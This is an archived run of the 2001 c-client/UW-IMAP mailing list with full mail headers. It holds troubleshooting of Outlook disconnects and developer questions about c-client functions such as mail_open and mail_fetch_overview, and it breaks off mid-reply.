(8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MpDC29651; Mon, 2 Jul 2001 15:51:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62MpAH25638; Mon, 2 Jul 2001 15:51:10 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MoF043956 for ; Mon, 2 Jul 2001 15:50:15 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62MoFX07099 for ; Mon, 2 Jul 2001 15:50:15 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/go_away) with ESMTP id f62Mo2R27194; Mon, 2 Jul 2001 17:50:02 -0500 Message-Id: <3B40F943.3CE812F5@birddog.com> Date: Mon, 02 Jul 2001 17:44:19 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: command stream end of file References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 1.2 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sorry about that. It is the bloody M$ Outlook client. ( not express ). It is not happening to all my outlook clients however. very weird. most are running same version of outlook. It even seems to do it with the gnu-pop3d server as well. that server says "socket closed". thanks for any tips or clues. Terry Mark Crispin wrote: > > "Command stream end of file" means that the client disconnected the connection > without giving any prior notification to the server. The server was in "read > command" wait. > > This is generally a client problem and not a server problem. Since you didn't > say what client you are using, there isn't much more that I can offer to help > you. -- Terry Davis Systems Administrator BirdDog Solutions, Inc. (402) 829-6059 www.birddog.com From pinedev@shivax2.cac.washington.edu Mon Jul 2 16:48:51 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 16:48:50 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62NmmD10968 for ; Mon, 2 Jul 2001 16:48:49 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 16:48:48 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Nmfu14283; Mon, 2 Jul 2001 16:48:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f62NmbX08422; Mon, 2 Jul 2001 16:48:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Nm3032970 for ; Mon, 2 Jul 2001 16:48:03 -0700 Received: from www.scotty.co.at (Scotty-EUnet.AT.EU.net [193.83.12.34]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f62Nm1s25338 for ; Mon, 2 Jul 2001 16:48:02 -0700 Received: from localhost (fl@localhost) by www.scotty.co.at (8.11.0/linuxconf) with ESMTP id f62Nlxu08568; Tue, 3 Jul 2001 01:47:59 +0200 Message-Id: Date: Tue, 3 Jul 2001 01:47:59 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/WU-IMAP Mailing Liste Subject: Re: command stream end of file In-Reply-To: <3B40F943.3CE812F5@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 2 Jul 2001, Terry Davis wrote: > It is the bloody M$ Outlook client. ( not express ). OK, they don't seam to do any harm - just ignore them is what I do. -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Mon Jul 2 17:07:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 17:07:24 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6307MD28277 for ; Mon, 2 Jul 2001 17:07:23 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 17:07:21 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6307JC32243; Mon, 2 Jul 2001 17:07:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6307Fp30728; Mon, 2 Jul 2001 17:07:15 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6306A032948 for ; Mon, 2 Jul 2001 17:06:10 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63069F19646 for ; Mon, 2 Jul 2001 17:06:09 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63069o03185; Mon, 2 Jul 2001 17:06:09 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63069C30838; Mon, 2 Jul 2001 17:06:09 -0700 Message-Id: Date: Mon, 2 Jul 2001 17:05:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Terry Davis Cc: c-client@u.washington.edu Subject: Re: command stream end of file In-Reply-To: <3B40F943.3CE812F5@birddog.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 02 Jul 2001 17:44:19 -0500, Terry Davis wrote: > Sorry about that. It is the bloody M$ Outlook client. ( not express ). > It is not happening to all my outlook clients however. very weird. > most are running same > version of outlook. It even seems to do it with the gnu-pop3d server as > well. > that server says "socket closed". What problems are you seeing? Or is it just that you see the message? If it's just that you see the message, treat it as equivalent to a LOGOUT since that's exactly how the server treats it. The difference only matters if there is a problem. From pinedev@shivax2.cac.washington.edu Mon Jul 2 17:16:01 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 2 Jul 2001 17:16:01 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f630G0D01660 for ; Mon, 2 Jul 2001 17:16:00 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Jul 02 17:15:59 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f630Fvu15009; Mon, 2 Jul 2001 17:15:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f630FpX31314; Mon, 2 Jul 2001 17:15:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f630Ex092334 for ; Mon, 2 Jul 2001 17:14:59 -0700 Received: from hermes.birddog.com (hermes.birddog.com [63.125.164.131]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f630EwK11281 for ; Mon, 2 Jul 2001 17:14:58 -0700 Received: from birddog.com (ns100dmz.birddog.com [10.2.0.1]) by hermes.birddog.com (8.11.2/go_away) with ESMTP id f630ErR27841; Mon, 2 Jul 2001 19:14:53 -0500 Message-Id: <3B410D25.82585569@birddog.com> Date: Mon, 02 Jul 2001 19:09:09 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: command stream end of file References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 1.2 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN i agree. no, I do see a problem. client initiates session login is seen in logs client sees that there are X msgs to download roughly 1 minute wait time. client sees timeout on there end server logs command stream end of file. I tried all kinds of goofy things like creating new accounts and changing passwds. But of course, none of that worked. Thank you. Mark Crispin wrote: > > On Mon, 02 Jul 2001 17:44:19 -0500, Terry Davis wrote: > > Sorry about that. It is the bloody M$ Outlook client. ( not express ). > > It is not happening to all my outlook clients however. very weird. > > most are running same > > version of outlook. It even seems to do it with the gnu-pop3d server as > > well. > > that server says "socket closed". > > What problems are you seeing? > > Or is it just that you see the message? If it's just that you see the > message, treat it as equivalent to a LOGOUT since that's exactly how the > server treats it. The difference only matters if there is a problem. -- Terry Davis Systems Administrator BirdDog Solutions, Inc. (402) 829-6059 www.birddog.com From pinedev@shivax2.cac.washington.edu Tue Jul 3 11:09:47 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Jul 2001 11:09:46 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63I9hD25816 for ; Tue, 3 Jul 2001 11:09:44 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jul 03 11:09:43 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63I9fu06401; Tue, 3 Jul 2001 11:09:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63I9WX24494; Tue, 3 Jul 2001 11:09:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63I7k0108990 for ; Tue, 3 Jul 2001 11:07:46 -0700 Received: from revere3.musc.edu (revere3.musc.edu [128.23.203.10]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63I7kK13845 for ; Tue, 3 Jul 2001 11:07:46 -0700 Received: from fade (imholzj@fade.harborview.musc.edu [128.23.43.156]) by revere3.musc.edu (8.8.8/8.8.8) with ESMTP id OAA10567 for ; Tue, 3 Jul 2001 14:07:45 -0400 (EDT) Message-Id: <79960000.994183634@fade> Date: Tue, 03 Jul 2001 14:07:14 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Imholz To: c-client@u.washington.edu Subject: Mailbox Size MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN To help my users get/keep under quota, I'd like to generate a web page with a tree of mailboxs and sizes. This will be easier than telling them how to check with multiple clients out there. My question is: do you think I should use c-client for this, or something else like a web-based IMAP client that does show usage by mailbox (or maybe there's another easier way?) Thanks for your time. jji -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 3 13:32:59 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Jul 2001 13:32:59 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63KWwD11215 for ; Tue, 3 Jul 2001 13:32:58 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Jul 03 13:32:57 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KWtC28922; Tue, 3 Jul 2001 13:32:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63KWlE23380; Tue, 3 Jul 2001 13:32:47 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KVe089486 for ; Tue, 3 Jul 2001 13:31:40 -0700 Received: from yardarm.fac.cs.cmu.edu (YARDARM.FAC.CS.CMU.EDU [128.2.220.48]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63KVeX04843 for ; Tue, 3 Jul 2001 13:31:40 -0700 Received: from yardarm.fac.cs.cmu.edu by yardarm.fac.cs.cmu.edu id aa22505; 3 Jul 2001 16:31 EDT Message-Id: <200107032031.f63KVeX04843@mxu3.u.washington.edu> Date: Tue, 03 Jul 2001 16:31:20 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Sammon To: c-client@u.washington.edu Subject: C-client startup questions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm planning to start writing an IMAP client with C-client for use with a Cyrus server. I'm trying to learn the C-client usage. My first questions are about starting the client. The following are some of the things that (it seems) my program would have to do when starting up: 1) Connect to server. looks like imap_open would do this, but not sure if there's a higher level function I should be calling. 2) send AUTHENTICATE I want to do kerberos authentication (and possibly support other methods) Do I call mail_auth() or should I let this be taken care of automatically? If it's automatically, how do I specify that I want to use kerberos? 3)Create and initialize MAILSTREAM structure. It looks like mail_open handles this when necessary. Is that correct? Specific answers or just pointers to documentation that answers these questions would be appreciated. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 3 13:46:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Jul 2001 13:46:18 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63KkHD20730 for ; Tue, 3 Jul 2001 13:46:17 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue Jul 03 13:46:16 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KkEu12071; Tue, 3 Jul 2001 13:46:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f63KkAE28172; Tue, 3 Jul 2001 13:46:10 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KjE093254 for ; Tue, 3 Jul 2001 13:45:14 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KjEs20065 for ; Tue, 3 Jul 2001 13:45:14 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KjEo06425; Tue, 3 Jul 2001 13:45:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (guest@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f63KjDC32319; Tue, 3 Jul 2001 13:45:13 -0700 Message-Id: Date: Tue, 3 Jul 2001 13:42:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brian Sammon Cc: c-client@u.washington.edu Subject: re: C-client startup questions In-Reply-To: <200107032031.f63KVeX04843@mxu3.u.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 03 Jul 2001 16:31:20 -0400, Brian Sammon wrote: > 1) Connect to server. > looks like imap_open would do this, but not sure if there's a higher > level function I should be calling. Do not call any imap_???() function. The correct function is mail_open(). Most of the interfaces you need are in the mail_???() functions. > 2) send AUTHENTICATE > I want to do kerberos authentication (and possibly support other > methods) > Do I call mail_auth() or should I let this be taken care of > automatically? It is automatic. > If it's automatically, how do I specify that I want to use kerberos? You don't. It'll use Kerberos unless you go to great effort to prevent it from doing so. > 3)Create and initialize MAILSTREAM structure. > It looks like mail_open handles this when necessary. Is that correct? Yes, and mail_open() calls imap_open(). So don't ever call imap_open() or any other imap_???() function. From pinedev@shivax2.cac.washington.edu Thu Jul 5 08:24:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Jul 2001 08:24:41 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65FOeD18101 for ; Thu, 5 Jul 2001 08:24:40 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Jul 05 08:24:40 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65FOcC12978; Thu, 5 Jul 2001 08:24:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65FOLX20258; Thu, 5 Jul 2001 08:24:21 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65FLE095434 for ; Thu, 5 Jul 2001 08:21:14 -0700 Received: from yardarm.fac.cs.cmu.edu (YARDARM.FAC.CS.CMU.EDU [128.2.220.48]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65FLEK10641 for ; Thu, 5 Jul 2001 08:21:14 -0700 Received: from yardarm.fac.cs.cmu.edu by yardarm.fac.cs.cmu.edu id aa24436; 5 Jul 2001 11:20 EDT Message-Id: <200107051521.f65FLEK10641@mxu2.u.washington.edu> Date: Thu, 05 Jul 2001 11:20:31 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brian Sammon To: c-client@u.washington.edu Subject: Re: C-client startup questions In-Reply-To: Your message of "Tue, 03 Jul 2001 13:42:58 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN MRC@CAC.Washington.EDU said: > > 1) Connect to server. > > looks like imap_open would do this, but not sure if there's a higher > > level function I should be calling. > > Do not call any imap_???() function. The correct function is mail_open(). > Most of the interfaces you need are in the mail_???() functions. Okay, this leads to my next question-- How do I tell C-client that I want to use IMAP and what the name of the server is? Thanks for the help so far. From pinedev@shivax2.cac.washington.edu Thu Jul 5 11:40:38 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Jul 2001 11:40:38 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65IeZD01388 for ; Thu, 5 Jul 2001 11:40:36 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Jul 05 11:40:34 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65IeVu03274; Thu, 5 Jul 2001 11:40:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65IeMH14900; Thu, 5 Jul 2001 11:40:22 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65IbJ0108968 for ; Thu, 5 Jul 2001 11:37:19 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65IbIF14166 for ; Thu, 5 Jul 2001 11:37:18 -0700 Message-Id: Date: Thu, 5 Jul 2001 11:35:54 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Brian Sammon Cc: c-client@u.washington.edu Subject: Re: C-client startup questions In-Reply-To: <200107051521.f65FLEK10641@mxu2.u.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 05 Jul 2001 11:20:31 -0400, Brian Sammon wrote: > Okay, this leads to my next question-- How do I tell C-client that I want > to use IMAP and what the name of the server is? That's specified in the name that you give to mail_open(), exactly as you do with Pine. Refer to imap-????/docs/naming.txt From pinedev@shivax2.cac.washington.edu Thu Jul 5 15:34:34 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Jul 2001 15:34:30 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65MYTD32696 for ; Thu, 5 Jul 2001 15:34:29 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 05 15:34:29 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65MYMC27737; Thu, 5 Jul 2001 15:34:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65MYHX24490; Thu, 5 Jul 2001 15:34:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65MSL084638 for ; Thu, 5 Jul 2001 15:28:21 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65MSLs16450 for ; Thu, 5 Jul 2001 15:28:21 -0700 Received: from smtp.adc.com (smtp.adc.com [155.226.10.207]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65MSHu11132 for ; Thu, 5 Jul 2001 15:28:21 -0700 Received: from mplsgtwy02.adc.com (localhost [127.0.0.1]) by smtp.adc.com (8.11.1/8.11.1) with ESMTP id f65MS8V06945 for ; Thu, 5 Jul 2001 17:28:08 -0500 (CDT) Received: by MPLSGTWY02.adc.com with Internet Mail Service (5.5.2653.19) id <317CBHMF>; Thu, 5 Jul 2001 17:28:12 -0500 Message-Id: <7CCFE4D68E4FD511884100508BF9B5C694E36A@mn02exch05.adc.com> Date: Thu, 5 Jul 2001 17:28:07 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Hullatti, Manjula" To: "'c-client@CAC.Washington.EDU'" Subject: Fetching message fields for sequence of messages MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, This is about fetching the subject fields at once for a sequence of messages. Can I use the mail_fetch_overview (MAILSTREAM *stream,char *sequence,overview_t ofn) function instead of mail_fetchsubject (char *s,MAILSTREAM *stream,unsigned long msgno, long length)? If yes, what is overview_t parameter ? What should be passed here? And where will be the subjects for different messages will be stored ? How do I fetch them ? Thanks, Manjula -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jul 5 16:11:23 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 5 Jul 2001 16:11:23 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65NBLD18143 for ; Thu, 5 Jul 2001 16:11:21 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Jul 05 16:11:20 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65NBIu12657; Thu, 5 Jul 2001 16:11:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f65NBEX34436; Thu, 5 Jul 2001 16:11:14 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65N9q0125064 for ; Thu, 5 Jul 2001 16:09:52 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65N9qF22508 for ; Thu, 5 Jul 2001 16:09:52 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65N9qu12546 for ; Thu, 5 Jul 2001 16:09:52 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9] (may be forged)) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f65N9lo28351; Thu, 5 Jul 2001 16:09:51 -0700 Received: from shimo-tomobiki.panda.com (D-140-142-21-8.dhcp2.washington.edu [140.142.21.8]) (authenticated (0 bits)) by smtp.washington.edu (8.12.0.Beta7+UW01.04/8.12.0.Beta7+UW01.04) with ESMTP id f65N9lXu025436 (using TLSv1/SSLv3 with cipher RC4-MD5 (128 bits) verified NO); Thu, 5 Jul 2001 16:09:47 -0700 Message-Id: Date: Thu, 5 Jul 2001 16:09:47 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Hullatti, Manjula" Cc: "'c-client@CAC.Washington.EDU'" Subject: Re: Fetching message fields for sequence of messages In-Reply-To: <7CCFE4D68E4FD511884100508BF9B5C694E36A@mn02exch05.adc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You can use mail_fetch_overview(), but that function is primarily for NNTP connections and you will gain no great benefit from using it. The overview_t argument is a 